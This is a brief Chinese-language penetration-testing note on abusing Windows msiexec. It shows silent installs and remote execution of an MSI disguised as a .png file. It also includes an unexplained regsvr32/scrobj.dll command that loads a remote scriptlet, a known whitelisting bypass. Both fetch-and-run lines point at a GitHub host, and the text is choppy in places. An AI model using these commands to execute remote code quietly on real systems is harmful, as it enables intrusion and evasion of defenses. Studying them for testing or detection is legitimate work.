安装包还有一个常见的是msi文件,可在命令行下通过msiexec安装,学习下msiexec在渗透测试中的利用技巧
msiexec:
系统进程,是Windows Installer的一部分
用于安装Windows Installer安装包(MSI)
一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大
系统自带,在命令行下使用,参数说明如下:
msiexec -h
等价于在命令行下执行如下命令:
msiexec /i test.msi
同时会弹出安装的对话框,可以使用/q参数来隐藏安装界面
msiexec /q /i test.msi
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll
将msi文件上传到服务器,通过如下命令远程执行:
msiexec /q /i https://raw.githubusercontent.com/3gstudent/test/master/testmsi.png